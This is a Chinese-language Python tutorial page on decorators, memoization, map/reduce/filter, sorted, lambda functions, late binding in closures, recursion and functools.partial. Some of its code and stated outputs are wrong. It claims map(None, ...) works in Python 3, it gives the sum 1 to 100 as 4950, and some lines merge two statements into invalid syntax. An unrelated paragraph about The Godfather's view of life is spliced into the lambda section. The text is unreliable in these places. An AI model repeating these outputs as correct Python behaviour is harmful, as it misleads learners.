在这个例子中,logging_decorator 接收一个方法作为参数, 返回另一个包装过的方法。 每当 logging_decorator 返回的方法被调用的时候, 他会为 wrapper.count 加 1,打印 wrapper.count 的值, 然后再调用logging_decorator 所包装的方法。
你可能会问为什么我们要把 counter 作为 wrapper 的属性而不是一个普通的变量呢。 包装器的闭包特性不是可以让我们访问其本地作用域中所申明的变量吗? 是的, 但是有一个小问题。 在Python中, 闭包完整的提供了对方法作用域链中变量的读权限,但只为同样作用域中的可变对象(比如:列表、字典等)提供了写权限。然而, Python 中的整数类型是不可变的, 所以我们无法对 wrapper 中的整数变量加 1。 取而代之的是,我们把 counter 作为 wrapper 的一个属性,它就变成了一个可变对象,这样我们就可以对它进行自增操作了。
在上一个例子中,我们看到一个 Decorator 可以接受一个方法作为参数,然后在该方法上再包装上其他方法。
一旦你熟悉了装饰器(Decorator), Python 还为你提供了一个特定的语法使得它看上去更直观,更简单。
- def logging_decorator(func):
- def wrapper():
- wrapper.count += 1
- print("The function I modify has been called {0} times(s).".format(wrapper.count))
- func()
-
- wrapper.count = 0
- return wrapper
-
- # In the previous example, we used our decorator function by passing the
- # function we wanted to modify to it, and assigning the result to a variable
-
-
- def some_function():
- print("I'm happiest when decorated.")
-
-
- # Here we will make the assigned variable the same name as the wrapped function
- some_function = logging_decorator(some_function)
-
-
- # We can achieve the exact same thing with this syntax:
-
- @logging_decorator
- def some_function():
- print("I'm happiest when decorated.")
Decorator 语法的简要工作原理:
记住这些步骤,再来仔细看一下 identity_decoratora 方法 和 它的注释。
- def identity_decorator(func):
- # Everything here happens when the decorator LOADS and is passed
- # the function as described in step 2 above
- def wrapper():
- # Things here happen each time the final wrapped function gets CALLED
- func()
-
- return wrapper
希望这里的注释能起到一定的引导作用. 只有在装饰器所返回的方法中的指令才会在每次调用的时候被执行. 在被返回函数外的指令只会被执行一次-- 在第二步 当装饰器第一次接受一个方法的时候。
在我们研究更有趣的装饰器之前, 我还有一件事情需要特别解释一下。
代码记忆是一种避免潜在的重复计算开销的方法。你通过缓存一个函数每次运行的结果来达到此目的。 这样,下一次函数以同样的参数运行时,它将从缓存中返回结果,并不需要花费额外的时间来计算结果。
- from functools import wraps
-
-
- def memoize(func):
- cache = {}
-
- @wraps(func)
- def wrapper(*args):
- if args not in cache:
- cache[args] = func(*args)
- return cache[args]
-
- return wrapper
-
-
- @memoize
- def an_expensive_function(arg1, arg2, arg3):
- pass
你可能已经注意到代码示例中的一个奇怪的 @wrapsdecorator,在我们稍后要讲解代码记忆之前,我将简要介绍下这个奇怪的 @wrapsdecorator。
我认为,代码记忆是一个很好的使用装饰器的示例。通过创建一个通用的装饰器,他为很多函数想要的功能服务, 我们可以将装饰器添加到任何想要利用这些功能的函数上。这避免了在不同的地方写同样的功能。 不重复自己(DRY)让我们的代码更易于维护,易于阅读和理解。 只要看到一个单词就可以马上知道函数有代码记忆。
我应该指出的是,代码记忆只适用于纯函数。因为这种函数保证了给定特定的同样的参数就会得出同样的结果。 如果一个函数它的结果取决于一个没有作为参数传递的全局变量,或者I/O,或者其它可能影响到结果值的东西, 代码记忆将产生令人困惑的结果!同样,纯函数没有任何副作用。因此,如果你的让一个计数器增加,或者在另一个对象中调用方法,或者任何不在函数得到的返回值上面的东西,如果结果是从缓存中返回的话,也不会什么副作用。
上面我们说到装饰器是修饰函数的函数。凡事总有个但是。我们还可以用它来修饰 类 或 方法。虽然一般不会这么用它。但有些情况下用来替代元类也未尝不可。
- foo = ['important', 'foo', 'stuff']
-
-
- def add_foo(klass):
- klass.foo = foo
- return klass
-
-
- @add_foo
- class Person(object):
- pass
-
-
- brian = Person()
-
- print(brian.foo) # ['important', 'foo', 'stuff']
现在任何从 Person 实例出来的对象都会包含 foo 属性。
注意:装饰器函数 没有返回一个函数,而是返回一个类。所以 装饰器 是一个可以修饰 函数,类或方法 的 函数。
事实证明,我在之前隐瞒了其它的什么东西。 装饰器不仅仅可以装饰一个类,它可以作为一个类来使用。一个装饰器的唯一需求是他的返回值可以被调用。 这意味着当你调用一个对象时它必须实现_call_这个魔幻般的在幕后调用的方法。函数设置了这个隐式方法。让我们重新建立 identity_decorators 作为一个类,然后来看它是怎么运作的。这个例子到底发生了什么呢:
- class IdentityDecorator(object):
- def __init__(self, func):
- self.func = func
-
- def __call__(self):
- self.func()
-
-
- @IdentityDecorator
- def a_function():
- print("I'm a normal function.")
-
-
- a_function() # I'm a normal function
让我们再一次更新我们的装饰器!
装饰模式可以做为修改函数、方法或者类来被调用。
时你需要根据不同的情况改变装饰器的行为,这可以通过传递参数来完成。
- from functools import wraps
-
-
- def argumentative_decorator(gift):
- def func_wrapper(func):
- @wraps(func)
- def returned_wrapper(*args, **kwargs):
- print(f"I don't like this {gift} you gave me!")
- return func(gift, *args, **kwargs)
- return returned_wrapper
- return func_wrapper
-
-
- @argumentative_decorator("sweater")
- def grateful_function(gift):
- print(f"I love the {gift}! Thank you!")
-
-
- grateful_function()
-
- '''
- I don't like this sweater you gave me!
- I love the sweater! Thank you!
- '''
让我们看看如果我们不用装饰器语法,装饰器函数是怎么运作的:
- # If we tried to invoke without an argument:
- grateful_function = argumentative_function(grateful_function)
-
- # But when given an argument, the pattern changes to:
- grateful_function = argumentative_decorator("sweater")(grateful_function)
主要的要关注的是当给定一些参数,装饰器会首先被引用并带有这些参数,就像平时包装过的函数并不在此列。 然后这个函数调用返回值, 装饰器已经包装的这个函数已经传递给初始化后的带参数的装饰器的返回函数。(这种情况下, 返回值是(argumentative_decorator("swearter")).
一步步来看:
我认为当不使用装饰器参数的时候, 这一系列的事件有点难以追踪。请花点时间通盘考虑下,希望这对你会有点启发。
有许多方法使用带可选参数的装饰器。这取决于你是要用一个位置参数还是关键字参数,或者两个都用。在使用上可能有一点点不同。下面就是其中的一种方法:
- from functools import wraps
-
- GLOBAL_NAME = "Brian"
-
-
- def print_name(function=None, name=GLOBAL_NAME):
- def actual_decorator(function):
- @wraps(function)
- def returned_func(*args, **kwargs):
- print(f"My name is {name}")
- return function(*args, **kwargs)
- return returned_func
-
- if not function: # User passed in a name argument
- def waiting_for_func(function):
- return actual_decorator(function)
- return waiting_for_func
- else:
- return actual_decorator(function)
-
-
- @print_name
- def a_function():
- print("I like that name!")
-
-
- @print_name(name='Matt')
- def another_function():
- print("Hey, that's new!")
-
-
- a_function()
- # >> My name is Brian
- # >> I like that name!
-
- another_function()
- # >> My name is Matt
- # >> Hey, that's new!
如果我们需要传 name 到 print_name 方法里面,他将会和之前的 argumentative_decoratorin 效果相同。也就是说,第一个 print_name 将会把 name 作为它的参数。函数在第一次请求时返回的值将会传递到函数里。
如果没有向 print_name 传 name 的参数,将会报缺少修饰的错。它将会像单参数函数一样发送请求。
print_name 有这两种可能。他要检查收到的参数是不是一个被包装的函数。如果不是的话,返回 waiting_for_func 函数来请求被包装的函数。如果收到的是一个函数参数,它将会跳过中间的步骤,立刻请求actual_decorator。
今天让我们来探索下装饰器的最后一个特性吧:链式装饰器。
你可以在任意给定的函数中放置多个装饰器。 它使用一种类似用多继承来构造类的方式来构造函数。但是最好不要过于追求这种方式。
- from functools import wraps
-
- GLOBAL_NAME = "Brian"
-
-
- def logging_decorator(func):
- def wrapper():
- wrapper.count += 1
- print("The function I modify has been called {0} times(s).".format(wrapper.count))
- func()
- wrapper.count = 0
- return wrapper
-
-
- def print_name(function=None, name=GLOBAL_NAME):
- def actual_decorator(function):
- @wraps(function)
- def returned_func(*args, **kwargs):
- print(f"My name is {name}")
- return function(*args, **kwargs)
- return returned_func
-
- if not function: # User passed in a name argument
- def waiting_for_func(function):
- return actual_decorator(function)
- return waiting_for_func
- else:
- return actual_decorator(function)
-
-
- @print_name(name='Sam')
- @logging_decorator
- def some_function():
- print("I'm the wrapped function!")
-
-
- some_function()
- '''
- My name is Sam
- The function I modify has been called 1 times(s).
- I'm the wrapped function!
- '''
当你将装饰器链接在一起时,他们在放置在栈中顺序是从下往上。 被包装的函数,some_fuction,编译之后,传递给在它之上的第一个装饰器(loging_decorator). 然后第一个装饰器的返回值传递给下一个。它将以这样的式传递给链中的每一个装饰器。
因为我们这里用到的装饰器都是打印一个值然后返回传递给它们的函数。这意味着在链中的最后一个装饰器,print_name,当被包装(装饰)的函数调用时,将打印整个输出的第一行。
总结
decorator 最大的好处之一是它能让你从高些的层次进行抽象。如果你开始读一个方法的定义,发现他有个 amemoize decorator,你会马上意识到你是在看 memoized 方法。如果 memoization 的代码是在方法内部,则可能要花些额外的心思去解析,且有可能误解。 使用 decorator,也能实现代码重用,从而节省时间,简化调试,使得反射更容易。使用 decorator 也是个很好的学习函数式编程概念的方式,如高级函数、闭包。
既然变量可以指向函数,函数的参数能接收变量,那么一个函数可以接收另一个函数作为参数(即函数作为参数传入),这种函数就称之为高阶函数。
一个最简单的高阶函数:
- def add(x, y, f):
- return f(x) + f(y)
- # 当我们调用 add(-5, 6, abs)时,参数x,y和f分别接收-5,6和abs
- # 根据函数定义,我们可以推导计算过程为:
- # x ==> -5
- # y ==> 6
- # f ==> abs
- # f(x) + f(y) ==> abs(-5) + abs(6) ==> 11
-
- # 用代码验证一下:
- print(add(-5, 6, abs)) # 11
- # 编写高阶函数,就是让函数的参数能够接收别的函数。
小结:把函数作为参数传入,这样的函数称为高阶函数,函数式编程就是指这种高度抽象的编程范式。
map:我们在使用 map 函数时候,map 函数需要接收两个参数,第一个参数是函数,第二个参数是序列。
那么表示的含义就是 map 将传入的函数依次作用在序列中的每一个元素,并把结果以列表的形式返回。
- def f(x):
- return x*x
-
- print(list(map(f,[1,2,3,4,5,6,7,8,9,10]))) # list里的每个元素都会走一遍f(x)方法
示例:
- def doubleMe(para):
- return para * 2
-
-
- result = list(map(doubleMe, range(1, 11)))
- print(result) # [2,4,6,8,10,12,14,16,18,20]
-
- # 结合 lambda 函数
- result = list(map(lambda x: x * 2, range(1, 11)))
- print(result)
-
- result = list(map(lambda x, y: x + y, range(1, 5), range(6, 10)))
- print(result) # [7,9,11,13]
-
- # result = map(lambda x, y: x + y, range(1, 6), range(6, 10))
- # 结果是会报错误:TypeError: unsupported operand type(s) for +: 'NoneType' and 'int'
-
- # 传递给map的是一个None的function,实际上就是做了个数据转移操作,将数据从iterable data转移到list中。
- print(list(map(None, range(1, 3))))
- # 输出 [1,2]
- print(list(map(None, range(1, 3), range(5, 7))))
- # 输出[(1, 5), (2, 6)]
- # 可以看到第二个有多个参数组的情况下,只是把同下标的给“打包”了
reduce:reduce 函数和 map 函数有什么不同之处呢?
reduce 函数也需要两个参数:
reduce 函数表示的含义:把 返回的结果 继续和 序列中的下一个元素 进行相应操作。
- from functools import reduce
-
- sum = reduce(lambda a, x: a + x, [0, 1, 2, 3, 4])
- print(sum) # 10
-
- def f2(x, y):
- return x + y
- print(reduce(f2, [1, 2, 3, 4, 5, 6, 7, 8, 9, 10])) # 55
-
- def fn(x, y):
- return x * y
- print(reduce(fn, [1, 2, 3, 4, 5])) # 计算 6!= 120
-
- def add1(x, y):
- return x + y
- print(reduce(add1, range(1, 101))) # 4950 (注:1+2+...+100)
- print(reduce(add1, range(1, 101), 20)) # 4970 (注:1+2+...+100+20)
-
- print(reduce(lambda x, y: x + y, range(1, 5))) # 结果是result=10
- print(reduce(lambda x, y: x + y, range(1, 5), 3)) # 结果是result=13
filter:filter 函数用于过滤序列中某些元素。和 map、reduce 函数一样,filter 也接收一个函数和一个序列,不同的是,filter 把传入的函数参数作用于序列中每一个元素,然后根据返回值判断是true还是false来决定该元素是否被丢弃。
- print(list(filter(lambda x: x > 3, range(1, 5)))) # [4]
- print(list(filter(None, range(1, 3)))) # [1,2]
- print(list(filter(None, [False, True]))) # [True]
-
- def is_odd(x):
- return x % 2 == 1
- print(list(filter(is_odd, [1, 2, 3, 4, 5, 6, 7]))) # [1, 3, 5, 7]
-
-
- def fun1(s):
- if s != 'a':
- return s
-
-
- if __name__ == "__main__":
- str_list = ['a', 'b', 'c', 'd']
- ret = filter(fun1, str_list)
- print(list(ret)) # ret 是一个迭代器对象
- pass
sort 函数
- """
- python3 中 sorted 取消了对 cmp 的支持。
- sorted(iterable, key=None, reverse=False)
- reverse 是一个布尔值。如果设置为True,列表元素将被倒序排列,默认为False
- key 接受一个函数,这个函数只接受一个元素,默认为 None
- sorted([36, 5, 12, 9, 21], reverse=True)就可以实现倒序
- Python2中的自定义布尔函数 cmp=custom_cmp(x, y)由 Python3中的 key=custom_key(x)代替,Python2中是返回-1,1,0
- 在 python3 中,待比较元素 x 通过 custom_key 函数转化为 Python能比较的值custom_key(x),进而再基于返回值进行排序。
- Python3中是返回待比较的元素!
- 你可以想象成集合,集合就是需要用key来索引,因为它是无序的。没有key,后面的比较函数没法作用到前面的的元素。
- """
-
-
- def reversed_cmp(x, y):
- if x > y:
- return -1
- if x < y:
- return 1
- return 0
-
-
- print(sorted([36, 5, 12, 9, 21], reverse=True)) # [36, 21, 12, 9, 5]
- print(sorted(['about', 'bob', 'Zoo', 'Credit'])) # ['Credit', 'Zoo', 'about', 'bob']
-
-
- # 默认情况下,对字符串排序,是按照 ASCII 的大小比较的,
- # 由于 'Z' < 'a',结果,大写字母Z会排在小写字母a的前面。
- # 现在,我们提出排序应该忽略大小写,按照字母序排序。
- # 要实现这个算法,不必对现有代码大加改动,只要我们能定义出忽略大小写的比较算法就可以:
-
- def cmp_ignore_case(s: str):
- return s.upper()
-
-
- # 忽略大小写来比较两个字符串,实际上就是先把字符串都变成大写(或者都变成小写),再比较。
- # 这样,我们给sorted传入上述比较函数,即可实现忽略大小写的排序:
- print(sorted(['about', 'bob', 'Zoo', 'Credit'], key=cmp_ignore_case))
- # ['about', 'bob', 'Credit', 'Zoo']
lambda 函数也叫匿名函数,即 函数没有具体的名称,而用 def 创建的方法是有名称的
无参数 lambda:如果没有参数,则lambda冒号前面就没有。
有参数 lambda:lambda [arg1 [,arg2,.....argn]]:expression
示例:
- sum = lambda arg1, arg2: arg1 + arg2;
-
- print(f"Value of total : {sum( 10, 20 )}")
- print(f"Value of total : {sum( 20, 20 )}")
-
- '''
- Value of total : 30
- Value of total : 40
- '''
- #!/usr/bin/python
- # Filename: lambda.py
-
- def make_repeater(n):
- return lambda s: s*n
-
- twice = make_repeater(2)
- print(twice('word'))
- print(twice(5))
-
- '''
- wordword
- 10
- '''
它如何工作
这里,我们使用了make_repeater 函数在运行时创建新的函数对象,并且返回它。lambda语句用来创建函数对象。本质上,lambda需要一个参数,后面仅跟单个表达式作为函数体,而表达式的值被这个新建的函数返回。注意,即便是print语句也不能用在lambda形式中,只能使用表达式。
匿名函数有个限制,就是只能有一个表达式,不用写return,返回值就是该表达式的结果。
用匿名函数有个好处,因为函数没有名字,不必担心函数名冲突。此外,匿名函数也是一个函数对象,也可以把匿名函数赋值给一个变量,再利用变量来调用该函数:
- 主要不同点是 def 是语句,而 lambda 是表达式 ,理解这点很重要。
- lambda会创建一个函数对象,但不会把这个函数对象赋给一个标识符,而def则会把函数对象赋值给一个变量。
- lambda 它只是一个表达式,而def则是一个语句。lambda表达式运行起来像一个函数,当被调用时创建一个框架对象。
- lambda 函数可以接收任意多个参数 (包括可选参数) 并且返回单个表达式的值。
- lambda 函数不能包含命令,包含的表达式不能超过一个。
values = ['1', '2', '-3', '-', '4', 'N/A', '5']
def is_int(val):
try:
x = int(val)
return True
except ValueError:
return False
ivals = list(filter(is_int, values))
print(ivals)
print(list(filter(lambda x: True if x % 3 == 0 else False, range(100))))
str1 = "abcde"
str2 = "abcdefg"
print(list(zip(str1, str2)))
print(list(map(lambda x: True if x % 3 == 0 else False, range(100))))
电影《教父》里的人生观: 第一步要努力实现自我价值,第二步要全力照顾好家人,第三步要尽可能帮助善良的人,第四步为族群发声,第五步为国家争荣誉。 事实上作为男人,前两步成功,人生已算得上圆满,做到第三步堪称伟大,而随意颠倒次序的那些人,一般不值得信任。
f = lambda x, y, z: x + y + z
print(f(1, 2, 3))
g = lambda x, y=2, z=3: x + y + z
print(g(1, z=4, y=5))# lambda表达式常用来编写跳转表(jump table),就是行为的列表或字典。例如:
L = [(lambda x: x ** 2),
(lambda x: x ** 3),
(lambda x: x ** 4)]
print(L[0](2), L[1](2), L[2](2))D = {'f1': (lambda: 2 + 3),
'f2': (lambda: 2 * 3),
'f3': (lambda: 2 ** 3)}
print(D['f1'](), D['f2'](), D['f3']())
# 3,lambda表达式可以嵌套使用,但是从可读性的角度来说,应尽量避免使用嵌套的lambda表达式。
# 4,map函数可以在序列中映射函数进行操作。例如:
def inc(x):
return x + 10
L = [1, 2, 3, 4]
print(list(map(inc, L)))print(list(map((lambda x: x + 10), L)))
# 5,列表解析可以实现map函数同样的功能,而且往往比map要快。例如:
print([x ** 2 for x in range(10)])
print(list(map((lambda x: x ** 2), range(10))))
# 6,列表解析比map更强大。例如:
print([x + y for x in range(5) if x % 2 == 0 for y in range(10) if y % 2 == 1])
# 7,生成器函数就像一般的函数,但它们被用作实现迭代协议,因此生成器函数只能在迭代语境中出现。例如:
def gen_squares(N):
for i in range(N):
yield i ** 2
for i in gen_squares(5):
print(i, )
# 8,所有的迭代内容(包括for循环、map调用、列表解析等等)将会自动调用iter函数,来看看是不是支持了迭代协议。
# 9,生成器表达式就像列表解析一样,但它们是扩在圆括号()中而不是方括号[]中。例如:
for num in (x ** 2 for x in range(5)):
print(num, )
# 10,列表解析比for循环具有更好的性能。尽管如此,在编写Python代码时,性能不应该是最优先考虑的。
# 11,没有return语句时,函数将返回None对象。
# 12,函数设计的概念:# 耦合性:只有在真正必要的情况下才使用全局变量
# 耦合性:不要改变可变类型的参数,除非调用者希望这样做
# 耦合性:避免直接改变另一个文件模块中的变量
# 聚合性:每一个函数都应有一个单一的、统一的目标
# 13,最后给个默认参数和可变参数的例子:
def saver(x=[]):
x.append(1)
print(x)
saver([2])
saver()
saver()
saver()
- def create_multipliers():
- return [lambda x: i * x for i in range(5)]
-
-
- for multiplier in create_multipliers():
- print(multiplier(2))
-
- '''
- 8
- 8
- 8
- 8
- 8
- '''
上面的例子中是不是在定义 create_multipliers()函数而不是调用它时完成了循环?
为什么设定一个默认参数就得到预期的结果?
- def create_multipliers():
- return [lambda x, i=i: i * x for i in range(5)]
-
-
- for multiplier in create_multipliers():
- print(multiplier(2))
-
- '''
- 0
- 2
- 4
- 6
- 8
- '''
你定义一个函数,函数内的变量并不是立刻就把值绑定了,而是等调用的时候再查找这个变量,只要调用的时候环境里有就行。
同理,在 for 里面 i 的值是不断改写的,但是 lambda 里面只是储存了 i 的符号,调用的时候再查找。这就是所谓的 后期绑定。
为什么你加了默认参数就成功了呢?
因为在创建函数的时候就要获取默认参数的值,放到 lambda 的环境中,所以这里相当于存在一个赋值,从而使 lambda 函数环境中有了一个独立的 i。 最后,优雅的写法是用生成器:
- for multiplier in (lambda x: i * x for i in range(5)):
- print(multiplier(2))
这样惰性求值就可以避免 i 的改写。或者:
- def create_multipliers():
- for i in range(5):
- yield lambda x: i * x
-
-
- for multiplier in create_multipliers():
- print(multiplier(3))
递归函数定义:递归函数就是在函数内部调用自己
有时候解决某些问题的时候,逻辑比较复杂,这时候可以考虑使用递归,因为使用递归函数的话,逻辑比较清晰,可以解决一些比较复杂的问题。但是递归函数存在一个问题就是假如递归调用自己的次数比较多的话,将会使得计算速度变得很慢,而且在python中默认的递归调用深度是1000层,超过这个层数将会导致“爆栈”。。。所以,在可以不用递归的时候建议尽量不要使用递归。
递归函数的优点:定义简单,逻辑清晰。理论上,所有的递归函数都可以写成循环的方式,但循环的逻辑不如递归清晰。
递归特性:
( 在计算机中,函数调用是通过栈(stack)这种数据结构实现的,每当进入一个函数调用,栈就会加一层栈帧,每当函数返 回,栈就会减一层栈帧。由于栈的大小不是无限的,所以,递归调用的次数过多,会导致栈溢出。)
- def factorial(n): # 使用循环实现求和
- Sum=1
- for i in range(2,n+1):
- Sum*=i
- return Sum
- print(factorial(7))
-
- def recursive_factorial(n): # 使用递归实现求和
- return (2 if n==2 else n*recursive_factorial(n-1))
-
- print(recursive_factorial(7))
-
- def feibo(n): # 使用递归实现菲波那切数列
- if n==0 or n==1:return n
- else:return feibo(n-1)+feibo(n-2)
- print(feibo(8))
-
- def feibo2(n): # 使用循环实现菲波那切数列
- before,after=0,1
- for i in range(n):
- before,after=after,before+after
- return before
- print(feibo2(300))
Python 的 functools 模块提供了很多有用的功能,其中一个就是偏函数(Partial function)。要注意,这里的偏函数和数学意义上的偏函数不一样。
在介绍函数参数的时候,我们讲到,通过设定参数的默认值,可以降低函数调用的难度。而偏函数也可以做到这一点。
举例如下:
- int()函数可以把字符串转换为整数,当仅传入字符串时,int()函数默认按十进制转换:
- >>> int('12345')
- 12345
-
- 但int()函数还提供额外的base参数,默认值为10。如果传入base参数,就可以做N进制的转换:
- >>> int('12345', base=8)
- 5349
- >>> int('12345', 16)
- 74565
-
- 假设要转换大量的二进制字符串,每次都传入int(x, base=2)非常麻烦,
- 于是,我们想到,可以定义一个int2()的函数,默认把base=2传进去:
- def int2(x, base=2):
- return int(x, base)
-
- 这样,我们转换二进制就非常方便了:
- >>> int2('1000000')
- 64
- >>> int2('1010101')
- 85
-
- functools.partial 就是帮助我们创建一个偏函数的,不需要我们自己定义int2(),
- 可以直接使用下面的代码创建一个新的函数int2:
- >>> import functools
- >>> int2 = functools.partial(int, base=2)
- >>> int2('1000000')
- 64
- >>> int2('1010101')
- 85
所以,简单总结 functools.partial 的作用就是:把一个函数的某些参数给固定住(也就是设置默认值),返回一个新的函数,调用这个新函数会更简单。
小结:当函数的参数个数太多,需要简化时,使用functools.partial可以创建一个新的函数,这个新函数可以固定住原函数的部分参数,从而在调用时更简单。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。